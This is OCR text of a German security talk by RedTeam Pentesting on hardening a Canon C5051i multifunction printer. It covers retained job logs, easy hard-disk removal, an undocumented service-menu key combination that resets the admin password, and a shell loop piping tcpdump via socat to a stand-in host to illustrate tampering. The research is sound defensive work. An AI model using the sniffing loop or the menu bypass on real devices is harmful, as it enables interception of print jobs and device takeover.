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Einfiihrung

“ ) 4 Red'_l'eal_n Pentesting
Motivation

RedTeam Pentesting - Daten und Fakten

* Gegriindet 2004

* Spezialisierung ausschlieBlich auf
Penetrationstests

* Firmensitz in Aachen, weltweite
Durchfiihrung von Penetrationstests

* Forschung im IT-Sicherheitsbereich
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= https://www.redteam-pentesting.de/jobs
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Einfiihrung

‘ ‘ » Red'.feal.n Pentesting
' Motivation

Motivation des Vortrags

Das Thema entstand aus der Notwendigkeit, dltere Geradte durch
einen neuen MFP abzulGsen.
Besonderheiten bei RedTeam Pentesting:

* Datensicherheit & Datensparsamkeit

* Zugangskontrolle

* Netzwerksicherheit

= Erfahrungen bei Evaluierung sowie Einfiihrung des neuen Geréts
weitergeben
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Canon C5051i

‘ Gerateauswahl Gerate und Dienstleister
w’ Erfahrungen

Auswahl des MFPs und moglicher Dienstleister

Aufkommende Fragestellungen:

* Wie wird die Datensicherheit zum Beispiel im Falle eines
Diebstahls sichergestellt?
* Wie werden Daten nach dem Druck vernichtet?

* Welcher Dienstleister ist in der Lage auch speziellere
Fragestellungen (IT-Sicherheit/Zusammenarbeit mit
Linux-Clients) zu beantworten?

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Gerateauswahl Geridte und Dienstleister

y},’ Erfahrungen
A Canon C5051i

Erfahrungen mit moglichen Herstellern

* Alle Hersteller adressieren den Bereich IT-Sicherheit
* Typische Optionen:

* Absicherung der Ubertragungswege (TLS/IPsec)

* Modul zur Festplattenverschliisselung

* Modul zum sicheren Ldschen

* Access-Control am Gerat (PIN/Chipkarten etc.)

* Teilweise auch spezielle Dokumentation zum Thema
IT-Sicherheit
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Gerateauswahl Geridte und Dienstleister

y},’ Erfahrungen
A Canon C5051i

Erfahrungen mit moglichen Dienstleistern

* Es gestaltete sich schwierig, Dienstleister mit Know-How im
IT-Sicherheitsbereich iiberhaupt zu finden

* Oft sind einzig und alleine die Losungen der Druckerhersteller
bekannt.
= Wo es keine Losung gibt, gibt es dementsprechend auch
kein Problem

* Technische Details zu Lésungen/Optionen der Hersteller sind
kaum zu finden
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Gerateauswahl Geridte und Dienstleister

yl’ Erfahrungen
' Canon C5051i

Canon Ch051i

* Anschaffung eines MFPs von Canon
(C5051i)

* Ausgestattet insbesondere mit Option
zum sicheren Loschen

* Im Folgenden: Viele Erfahrungen
vermutlich auch auf andere Gerite
libertragbar
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Voraussetzungen und Angreifermodelle

‘ » . N HDD Data Erase Kit
w Evaluierung,/ Testbetrieb Zugriff auf die Festplatte

Backdoor Servicemenii

Vorgehen

In diesem Vortrag wird lediglich der MFP (lokal) betrachtet:

* Drucker soll Daten eines Auftrags nur moglichst kurz auf der
Festplatte zwischenspeichern und dann sicher vernichten
=> Modul zum sicheren Léschen

* Die meisten weiteren SchutzmaBnahmen werden durch
entsprechende physische Sicherheit gewahrleistet

* Trotzdem normale Absicherung wie Entfernen unnétiger
Dienste und Authentifizierung
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Voraussetzungen und Angreifermodelle

a%),’ Evaluierung/Testbetrieb ALY 125 LI L

Zugriff auf die Festplatte
Backdoor Servicemenii

Exkurs: Festplattenverschliisselung

Warum wird keine Festplattenverschliisselung eingesetzt?

* Daten die nicht mehr vorhanden sind kénnen auch nicht
gestohlen werden!

* Festplattenverschliisselung, die autonom bootet, birgt Risiken:

* Was passiert bei einem Diebstahl des gesamten MFPs?
* Wo ist der Key liberhaupt? Kann er extrahiert werden?

* Worst Case: Diebstahl von Daten der letzten Jahre vs. des
letzten Tags

= Ldschen statt nur Verschliisseln

Jens Liebchen - RedTeam Pentesting GmbH
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Voraussetzungen und Angreifermodelle

‘ » . N HDD Data Erase Kit
w Evaluierung,/ Testbetrieb Zugriff auf die Festplatte

Backdoor Servicemenii

HDD Data Erase Kit

* Canons Lésung zum sicheren Ldschen
* Reine Software-Lizenz
* Common Criteria EAL3 zertifiziert
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Voraussetzungen und Angreifermodelle

‘ . . HDD Data Erase Kit
yl Evaluierung,/ Testbetrieb Zugriff auf die Festplatte

/‘ Backdoor Servicemenii
HDD Data Erase Kit — Theorie

Canon-Broschiire:

»Once data has been committed to any disk drive, the potential
exists for it to be retrieved — even after deletion — unless it's
been effectively overwritten. To counteract this reality, Canon
offers the optional HDD Data Erase function within
imageRUNNER, imageRUNNER ADVANCE, and imagePRESS
systems. Once activated, the HDD Data Erase function
overwrites traces of data on the disk drive."

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Voraussetzungen und Angreifermodelle

' » . N HDD Data Erase Kit
w Evaluierung,/ Testbetrieb Zugriff auf die Festplatte

Backdoor Servicemenii

HDD Data Erase Kit — Praxis

Status Honitor/Abbruch

Kopieren/ " Empfang Speichern | Ressourcen
Drucken i 2

Auftragsstatus Log Drucker

Zeit Abt.1D Auftragsname Anwend.name Ergebnis
26/11 13:41 ) Konstruktionsplan. pdf entwicklung OK
26/11 13:41 < Patententwurf. pdf entwicklung OK
26/11 13:41 & Vertrag. pdf geschasftsf OK
26/11 13:40 & Kuendigung Meier.pdf  buchhaltung OK

Details =7 Liste
»/ — drucken
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Voraussetzungen und Angreifermodelle

‘ » . N HDD Data Erase Kit
w Evaluierung/ Testbetrieh Zugriff auf die Festplatte

Backdoor Servicemenii

HDD Data Erase Kit — Praxis

* Protokoll enthilt viele Meta-Daten zu abgeschlossenen
Druckjobs (Titel, Seitenanzahl, Benutzer etc.)

* Protokoll enthdlt bei Faxen auch Telefonnummern

* Protokoll normalerweise liber das Display am Gerat direkt
einsehbar

* Protokoll bleibt selbst iiber einen Neustart des Gerats hinweg
gespeichert
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Voraussetzungen und Angreifermodelle

‘ » . N HDD Data Erase Kit
w Evaluierung/ Testbetrieh Zugriff auf die Festplatte

Backdoor Servicemenii

HDD Data Erase Kit — Praxis

Nach mehrtédgiger Analyse des Problems durch den Dienstleister:

* Nach Aussage des Dienstleisters kdnnen weder Canon noch
der Dienstleister die Protokollfunktion abschalten

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Voraussetzungen und Angreifermodelle

‘ » . N HDD Data Erase Kit
w Evaluierung/ Testbetrieh Zugriff auf die Festplatte

Backdoor Servicemenii

HDD Data Erase Kit — Praxis

Nach mehrtédgiger Analyse des Problems durch den Dienstleister:

* Nach Aussage des Dienstleisters kdnnen weder Canon noch
der Dienstleister die Protokollfunktion abschalten

* Protokoll lasst sich lediglich vor normalen Benutzern
verstecken, wird aber im Hintergrund weiter gespeichert

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Voraussetzungen und Angreifermodelle

‘ » . N HDD Data Erase Kit
w Evaluierung/ Testbetrieh Zugriff auf die Festplatte

Backdoor Servicemenii

HDD Data Erase Kit — Praxis

Nach mehrtédgiger Analyse des Problems durch den Dienstleister:

* Nach Aussage des Dienstleisters kdnnen weder Canon noch
der Dienstleister die Protokollfunktion abschalten

* Protokoll lasst sich lediglich vor normalen Benutzern
verstecken, wird aber im Hintergrund weiter gespeichert

* Einziger Losungsansatz: Formatierung der Festplatte und
anschlieBendes Einspielen eines Backups :-(
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Voraussetzungen und Angreifermodelle

‘ » . N HDD Data Erase Kit
w Evaluierung,/ Testbetrieb Zugriff auf die Festplatte

Backdoor Servicemenii

Und was ist mit Common Criteria?
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Voraussetzungen und Angreifermodelle

‘ » . N HDD Data Erase Kit
w Evaluierung/ Testbetrieh Zugriff auf die Festplatte

Backdoor Servicemenii

Und was ist mit Common Criteria?

Werbeaussagen vs. Zertifizierung:
* Common Criteria unterscheidet zwischen D.DOC und D.FUNC

* D.DOC wird fiir das Dokument verwendet, D.FUNC fiir
Druckjobdaten (wie z.B. Metadaten)

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Voraussetzungen und Angreifermodelle

‘ » . N HDD Data Erase Kit
w Evaluierung/ Testbetrieh Zugriff auf die Festplatte

Backdoor Servicemenii

Und was ist mit Common Criteria?

Werbeaussagen vs. Zertifizierung:
* Common Criteria unterscheidet zwischen D.DOC und D.FUNC

* D.DOC wird fiir das Dokument verwendet, D.FUNC fiir
Druckjobdaten (wie z.B. Metadaten)

* Unabhangig davon: In den Untersuchungsergebnissen zur
,HDD Data Erase Function® wird nur noch von , document
data” gesprochen

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Voraussetzungen und Angreifermodelle
HDD Data Erase Kit

Zugriff auf die Festplatte

Backdoor Servicemenii

Evaluierung/ Testbetrieb

Und was ist mit Common Criteria?

Werbeaussagen vs. Zertifizierung:

*
*

Common Criteria unterscheidet zwischen D.DOC und D.FUNC

D.DOC wird fiir das Dokument verwendet, D.FUNC fiir
Druckjobdaten (wie z.B. Metadaten)

Unabhangig davon: In den Untersuchungsergebnissen zur
,HDD Data Erase Function® wird nur noch von , document
data” gesprochen

Fraglich bleibt, was ist hier eigentlich zertifiziert?

Und welchen Vorteil bietet eine solche Zertifizierung in der
Praxis?
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Voraussetzungen und Angreifermodelle

‘ » . . HDD Data Erase Kit
w Evaluierung/ Testbetrieb Zugriff auf die Festplatte
/‘ Backdoor Servicemenii

Wie schwierig ist der Diebstahl der Festplatte. . .

»Wie kommt ein Angreifer an die Festplatte heran?“

»Das geht nicht so einfach, er miisste den gesamten
MFP o6ffnen und bendtigt entsprechendes
Werkzeug. . . *

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Voraussetzungen und Angreifermodelle

' » . N HDD Data Erase Kit
a}l Evaluierung/Testbetrieb Zugriff auf die Festplatte

Backdoor Servicemenii

Wie schwierig ist der Diebstahl der Festplatte. ..

* Stimmt!
* Werkzeug: Schraubenzieher

* Drei Kreuzschrauben trennen
den Angreifer von der Festplatte

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Voraussetzungen und Angreifermodelle

' » . N HDD Data Erase Kit
a}l Evaluierung/Testbetrieb Zugriff auf die Festplatte

Backdoor Servicemenii

Wie schwierig ist der Diebstahl der Festplatte. ..

* Stimmt!
* Werkzeug: Schraubenzieher

* Drei Kreuzschrauben trennen
den Angreifer von der Festplatte

* = Diebstahl der Festplatte ist
fiir lokale Angreifer trivial
moglich

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Voraussetzungen und Angreifermodelle

' » . N HDD Data Erase Kit
a}l Evaluierung/Testbetrieb Zugriff auf die Festplatte

Backdoor Servicemenii

Wie schwierig ist der Diebstahl der Festplatte. ..

* Stimmt!
* Werkzeug: Schraubenzieher

* Drei Kreuzschrauben trennen
den Angreifer von der Festplatte

* = Diebstahl der Festplatte ist
fiir lokale Angreifer trivial
moglich

* = Temporarer Zugriff und
Manipulation der Festplatte
leider auch

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Voraussetzungen und Angreifermodelle

‘ » . N HDD Data Erase Kit
w Evaluierung,/ Testbetrieb Zugriff auf die Festplatte

Backdoor Servicemenii

Backdoor Servicemenii

* Schon vor der Beschaffung wurde vermutet, dass MFPs i.A.
eine Backdoor fiir Servicetechniker haben

* Dienstleister wie Hersteller schweigen sich dazu leider aus

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Voraussetzungen und Angreifermodelle

‘ » . N HDD Data Erase Kit
w Evaluierung,/ Testbetrieb Zugriff auf die Festplatte

Backdoor Servicemenii

Backdoor Servicemenii

* Schon vor der Beschaffung wurde vermutet, dass MFPs i.A.
eine Backdoor fiir Servicetechniker haben

* Dienstleister wie Hersteller schweigen sich dazu leider aus
* Internetrecherche hilft hier weiter :-)

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



‘ Voraussetzungen und Angreifermodelle
» . . HDD Data Erase Kit
w Evaluierung,/ Testbetrieb Zugriff auf die Festplatte

Backdoor Servicemenii

Backdoor Servicemenii

Standardtastenkombination zum Offnen
des Servicementis:

@ Einstellungstaste driicken
@ Tasten 2 und 8 gleichzeitig driicken
© Einstellungstaste driicken

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Evaluierung/ Testbetrieb

Backdoor Servicemenii

Mode

Please Select Service Mode Menu

Mode List
Maode List Classic

Updater

Jens Liebchen - RedTeam Pentesting GmbH

Voraussetzungen und Angreifermodelle
HDD Data Erase Kit

Zugriff auf die Festplatte

Backdoor Servicemenii
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Voraussetzungen und Angreifermodelle

‘ » . N HDD Data Erase Kit
w Evaluierung,/ Testbetrieb Zugriff auf die Festplatte

Backdoor Servicemenii

Moglichkeiten im Servicemenii

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Voraussetzungen und Angreifermodelle

‘ » . N HDD Data Erase Kit
w Evaluierung,/ Testbetrieb Zugriff auf die Festplatte

Backdoor Servicemenii

Moglichkeiten im Servicemenii

* Nach dem Riicksetzen des Administratorpassworts sind alle
Einstellungen moglich
* also auch z.B. HDD-Verschliisselung abschalten
* sicheres Loschen abschalten
* = Drucker steht unter der vollstdndigen Kontrolle des
Angreifers

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Voraussetzungen und Angreifermodelle

‘ » . N HDD Data Erase Kit
w Evaluierung,/ Testbetrieb Zugriff auf die Festplatte

Backdoor Servicemenii

Moglichkeiten im Servicemenii

* Nach dem Riicksetzen des Administratorpassworts sind alle
Einstellungen moglich
* also auch z.B. HDD-Verschliisselung abschalten
* sicheres Loschen abschalten
* = Drucker steht unter der vollstdndigen Kontrolle des
Angreifers

* Auch viele andere Einstellméglichkeiten, die potentiell nicht
nur die Datensicherheit gefdhrden:

* Einstellungen zum Laser

* Temperatureinstellungen zum Fixieren
*

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Voraussetzungen und Angreifermodelle

‘ » . N HDD Data Erase Kit
w Evaluierung,/ Testbetrieb Zugriff auf die Festplatte

Backdoor Servicemenii

Auswirkungen der Backdoor

* Die Backdoor ist fiir normale Kiufer nirgendwo dokumentiert

* Selbst Canons Security Whitepaper zur Absicherung des
Gerats enthalt keine Hinweise auf die Backdoor

* = Solange die Backdoor nicht abgesichert ist, sind aber alle
anderen (lokalen) AbsicherungsmaBnahmen wirkungslos

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Voraussetzungen und Angreifermodelle

‘ » . N HDD Data Erase Kit
M Evaluierung,/ Testbetrieb Zugriff auf die Festplatte

Backdoor Servicemenii

Auswirkungen der Backdoor

* Die Backdoor ist fiir normale Kiufer nirgendwo dokumentiert

* Selbst Canons Security Whitepaper zur Absicherung des
Gerats enthalt keine Hinweise auf die Backdoor

* = Solange die Backdoor nicht abgesichert ist, sind aber alle
anderen (lokalen) AbsicherungsmaBnahmen wirkungslos

* Trotz der Anforderung IT-Sicherheit: Keine Informationen und
keine Absicherung des Servicemeniis

* Erst eigene Recherchen decken das Problem auf

= Problembewusstsein bei Dienstleistern wie Herstellern scheint
noch nicht sehr ausgepragt zu sein

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Voraussetzungen und Angreifermodelle

‘ » . N HDD Data Erase Kit
w Evaluierung,/ Testbetrieb Zugriff auf die Festplatte

Backdoor Servicemenii

Problembewusstsein Backdoor (anderer Hersteller)

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Voraussetzungen und Angreifermodelle

‘ » . . HDD Data Erase Kit
yl’ Evaluierung,/ Testbetrieb Zugriff auf die Festplatte

7 4

Backdoor Servicemenii

Problembewusstsein Backdoor (anderer Hersteller)

»Bei einem Penetrationstest ist ein
Service-Techniker-Passwort auf dem MFP X aufgedeckt
worden. Wir benétigen lhre Hilfe zur Absicherung der
Schwachstelle. Das Service-Techniker-Passwort ist im
Internet auch unter http://example.com/servicemanual.pdf
offentlich verfiigbar.*

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Voraussetzungen und Angreifermodelle

‘ » . . HDD Data Erase Kit
Lyz' Evaluierung,/ Testhetrieb Zugriff auf die Festplatte

A Backdoor Servicemenii

Problembewusstsein Backdoor (anderer Hersteller)

»Bei einem Penetrationstest ist ein
Service-Techniker-Passwort auf dem MFP X aufgedeckt
worden. Wir benétigen lhre Hilfe zur Absicherung der
Schwachstelle. Das Service-Techniker-Passwort ist im
Internet auch unter http://example.com/servicemanual.pdf
offentlich verfiigbar.*

. Vielen Dank fiir den Hinweis. Wir haben den Betreiber
von example.com aufgefordert, das interne und nicht
autorisiert veroffentlichte Dokument zu entfernen.”

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



‘ Analyse der Festplatte/Software
w’ Sicheres sicheres Léschen
. o Ein einfacher Trojaner
A Analyse, Angriffe und Losungen Auswirkungen von Angriffen

Analyse der Festplatte

Festplatte ausbauen, Partitionen analysieren:

* Linux-System (MontaVista, Debian GNU/Linux-basiert, i686
Hardware)

* /dev/sdal4 ist die Root-Partition

Jens Liebchen - RedTeam Pentesting GmbH
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Analyse der Festplatte/Software

y}]’ Sicheres sicheres Léschen
K Analyse, Angriffe und Losungen At Gl ETeliey e

Auswirkungen von Angriffen

Analyse der Festplatte

Festplatte ausbauen, Partitionen analysieren:
* Linux-System (MontaVista, Debian GNU/Linux-basiert, i686
Hardware)
* /dev/sdal4 ist die Root-Partition
* = Passend statisch kompilierten Dropbear (SSH-Daemon)

hinzufiigen und beim Booten starten = Einfache Analyse zur
Laufzeit

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



‘ Analyse der Festplatte/Software
» Sicheres sicheres Léschen
/ Ein einfacher Trojaner

/‘ Analyse, Angriffe und Losungen Auswirkungen von Angriffen

Analyse der Festplatte

Analyse zur Laufzeit:

$ ssh root@mfp
Linux (none) 2.6.18 _pro500-pc_target-x86_pentium3

#5005 PREEMPT Tue May 31 18:28:52 JST 2011 i686
GNU/Linux

Welcome to MontaVista(R) Linux(R) Professional Edition
5.0.0 (0702774).

root@mfp:~#

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Analyse der Festplatte/Software
Sicheres sicheres Léschen
Ein einfacher Trojaner

Analyse, Angriffe und Losungen Auswirkungen von Angriffen

Analyse der Festplatte

Analyse zeigt:

*

*

Alle Netzwerkdienste sind mit einem Binary BOOTABLE
realisiert, von dem kein Quelltext vorliegt

Protokolldaten konnten auf Partion /dev/sdall gefunden
werden

* Gemountet zur Laufzeit unter /APL_GEN
* Protokolle unter /APL_GEN/nvmen und unter
/APL_GEN/VAR/ADM/PIPITLOG

Aktive SWAP-Partition (/dev/sdal5)
SWAP-Partition enthielt nach einem Reboot noch alte Daten

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Analyse der Festplatte/Software

‘ Sicheres sicheres Léschen
S 4 Ein einfacher Trojaner
A Analyse, Angriffe und Losungen einacner frojaner

Auswirkungen von Angriffen

Sicheres sicheres Loschen

Da Dienstleister und Hersteller das Loschen der Daten nur auf die
Druckdaten beziehen, implementieren wir uns die Funktion selber.

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Analyse der Festplatte/Software

‘ Sicheres sicheres Léschen
S 4 Ein einfacher Trojaner
A Analyse, Angriffe und Losungen 'n einfacher frojaner

Auswirkungen von Angriffen

Sicheres sicheres Loschen

Da Dienstleister und Hersteller das Loschen der Daten nur auf die
Druckdaten beziehen, implementieren wir uns die Funktion selber.

@ Bootvorgang wird angepasst

@ Als einer der ersten Dienste wird nun ein sicheres Ldschen
aufgerufen

shred ist bereits vorinstalliert und kann verwendet werden

Protokolldaten sowie SWAP-Partition werden sicher geléscht

© 00

AnschlieBend wird ein normaler Neustart ausgeldst

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Analyse der Festplatte/Software

‘ Sicheres sicheres Léschen
S 4 Ein einfacher Trojaner
A Analyse, Angriffe und Losungen 'n einfacher frojaner

Auswirkungen von Angriffen

Vorteile der Losung

* Sicheres Loschen der Protokolldaten und des SWAPs kann
zum Beispiel einmal taglich automatisiert geschehen (z.B.
nachtlicher Neustart)

* Auch manuell kann ein solches Loschen jederzeit durch einen
einfachen Neustart ausgelost werden (Schalter am Gerét)

* Minimalinvasive Lésung

* Losung einfach realisierbar (auch in Bezug auf Updates der
Drucker-Firmware)

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Analyse der Festplatte/Software

‘ ) 4 Sicheres sicheres Léschen
/ Ein einfacher Trojaner

A Analyse, Angriffe und Losungen Auswirkungen von Angriffen

Probleme der einfachen Anpassbarkeit

So bequem die Analyse iiber die Festplatte mdglich war, so einfach
kénnen auch Angreifer die Software manipulieren:

while true; do

tcpdump -i ethO -n -p -s 0 -w - | socat -u - tcp:
example.com:2323
sleep 5
done

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Analyse der Festplatte/Software

y}]’ Sicheres sicheres Léschen
K Analyse, Angriffe und Losungen At Gl Ty e

Auswirkungen von Angriffen

Mogliche Angriffe

Kurzzeitiger einmaliger Zugriff eines Angreifers auf die Festplatte
des MFPs bedeutet potentiell:

* Abfangen von Daten und Druckjobs

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Analyse der Festplatte/Software

y}]’ Sicheres sicheres Léschen
K Analyse, Angriffe und Losungen At Gl Ty e

Auswirkungen von Angriffen

Mogliche Angriffe

Kurzzeitiger einmaliger Zugriff eines Angreifers auf die Festplatte
des MFPs bedeutet potentiell:

* Abfangen von Daten und Druckjobs

* Selbst moglich bei der Verwendung von SSL oder IPsec
(Schliissel miissen auf dem Gerét verfiigbar sein)

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security



Analyse der Festplatte/Software
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Mogliche Angriffe

Kurzzeitiger einmaliger Zugriff eines Angreifers auf die Festplatte
des MFPs bedeutet potentiell:

* Abfangen von Daten und Druckjobs

* Selbst moglich bei der Verwendung von SSL oder IPsec
(Schliissel miissen auf dem Gerét verfiigbar sein)

* Access-Control auf dem MFP umgehen

* Bei der Verwendung von Windows-Authentifizierung:
Abfangen von Benutzer-Zugingen?
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Mogliche Angriffe

Kurzzeitiger einmaliger Zugriff eines Angreifers auf die Festplatte
des MFPs bedeutet potentiell:

*
*

Abfangen von Daten und Druckjobs

Selbst méglich bei der Verwendung von SSL oder IPsec
(Schliissel miissen auf dem Gerét verfiigbar sein)

Access-Control auf dem MFP umgehen

Bei der Verwendung von Windows-Authentifizierung:
Abfangen von Benutzer-Zugingen?

Nutzen des MFPs als Pivoting-System fiir Angriffe auf das
Netzwerk (MFP baut Verbindung nach auBen auf)

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security
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... und die Festplattenverschliisselung?

* Die Verschliisselung der Festplatte wurde nicht untersucht

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security
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Auswirkungen von Angriffen

... und die Festplattenverschliisselung?

* Die Verschliisselung der Festplatte wurde nicht untersucht

* Da das Geradt aber autonom bootet, kdnnte ein Angreifer
eventuell auch an den Key gelangen

* Andere Angriffe, wie die Backdoor iiber das Servicemenii oder

auch Hotplugging-Angriffe konnten potentiell ebenfalls
verwendet werden, um die Verschliisselung zu tiberwinden

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security
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Viel Raum fiir Forschungsarbeiten

MFP-Sicherheit

* MFPs ohne physische Zugangskontrolle laden geradezu dazu
ein, sie zu manipulieren.

* Gerade MFPs auf Fluren sollten eigentlich als kompromittiert
betrachtet werden

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security
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MFP-Sicherheit

* MFPs ohne physische Zugangskontrolle laden geradezu dazu
ein, sie zu manipulieren.

* Gerade MFPs auf Fluren sollten eigentlich als kompromittiert
betrachtet werden

* Siegel fiir Festplatten?

* Herstelleraussagen und Zertifizierungen sind mit groBer
Vorsicht zu genieBen. Wie kann ein Gerat einerseits
EAL3-zertifiziert sein, und anderseits mit einer einfachen
Tastenkombination jedem Administratorrechte einrdumen?

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security
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Einbeziehung des Dienstleisters

* Es empfiehlt sich, Dienstleister sehr friihzeitig dariiber zu
informieren, dass IT-Sicherheit eine wichtige Anforderung ist

* Auch ohne groBes Know-How haben Dienstleister natiirlich ein
Interesse daran, die Anforderungen des Kunden zu erfiillen

* Dienstleister zeigte sich bereits im Vorfeld kooperativ

* Auch die , kreative Lésung" wurde akzeptiert (die Alternative
ware allerdings eine Riickabwicklung des Vertrags gewesen)

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security
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Ausschreibungen und Neubeschaffungen

* Lassen Sie sich vertraglich zusichern, dass keine (nicht
dokumentierten) Backdoors existieren

* Beschiftigen Sie sich (und/oder Ihren Dienstleister)
umfassend damit, welche Absicherungsméglichkeiten
existieren. Teilweise bendtigen Sie hierfiir bereits Zugang zum
Servicemeni.

* Versuchen Sie Zugriff auf Service-Manuals 0.3. zu erlangen,
damit Sie liberhaupt alle Konfigurationsmoglichkeiten kennen

* Evaluieren Sie, inwieweit der von MFPs gebotene Schutz
iiberhaupt ausreicht (z.B. fiir Ihre Forschungsergebnisse)

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security
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Viel Raum fiir Forschungsarbeiten

Dieser Vortrag soll nur Erfahrungen weitergeben, daher:
* |m Bereich von MFPs und sicherem Drucken sind noch viele
Forschungsthemen offen, z.B.:
* Angriffe auf die Festplattenverschliisselung
* Analyse von BOOTABLE fiir Angriffe aus dem Netzwerk
* Angriffe via USB
* .
* Aufgrund der einfach durchfiihrbaren Analysen auch sicherlich
viele Themen fiir studentische Projektarbeiten

Jens Liebchen - RedTeam Pentesting GmbH Jailbreaking Your MFP for More Security
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Zeit fir lhre Fragen!

Vielen Dank fiir lhre Aufmerksamkeit

Jailbreaking Your MFP for More Security

Jens Liebchen - RedTeam Pentesting GmbH



	Einführung
	RedTeam Pentesting
	Motivation

	Geräteauswahl
	Geräte und Dienstleister
	Erfahrungen
	Canon C5051i

	Evaluierung/Testbetrieb
	Voraussetzungen und Angreifermodelle
	HDD Data Erase Kit
	Zugriff auf die Festplatte
	Backdoor Servicemenü

	Analyse, Angriffe und Lösungen
	Analyse der Festplatte/Software
	Sicheres sicheres Löschen
	Ein einfacher Trojaner
	Auswirkungen von Angriffen

	Fazit
	MFP-Sicherheit
	Einbeziehung des Dienstleisters
	Ausschreibungen/Neubeschaffungen
	Viel Raum für Forschungsarbeiten


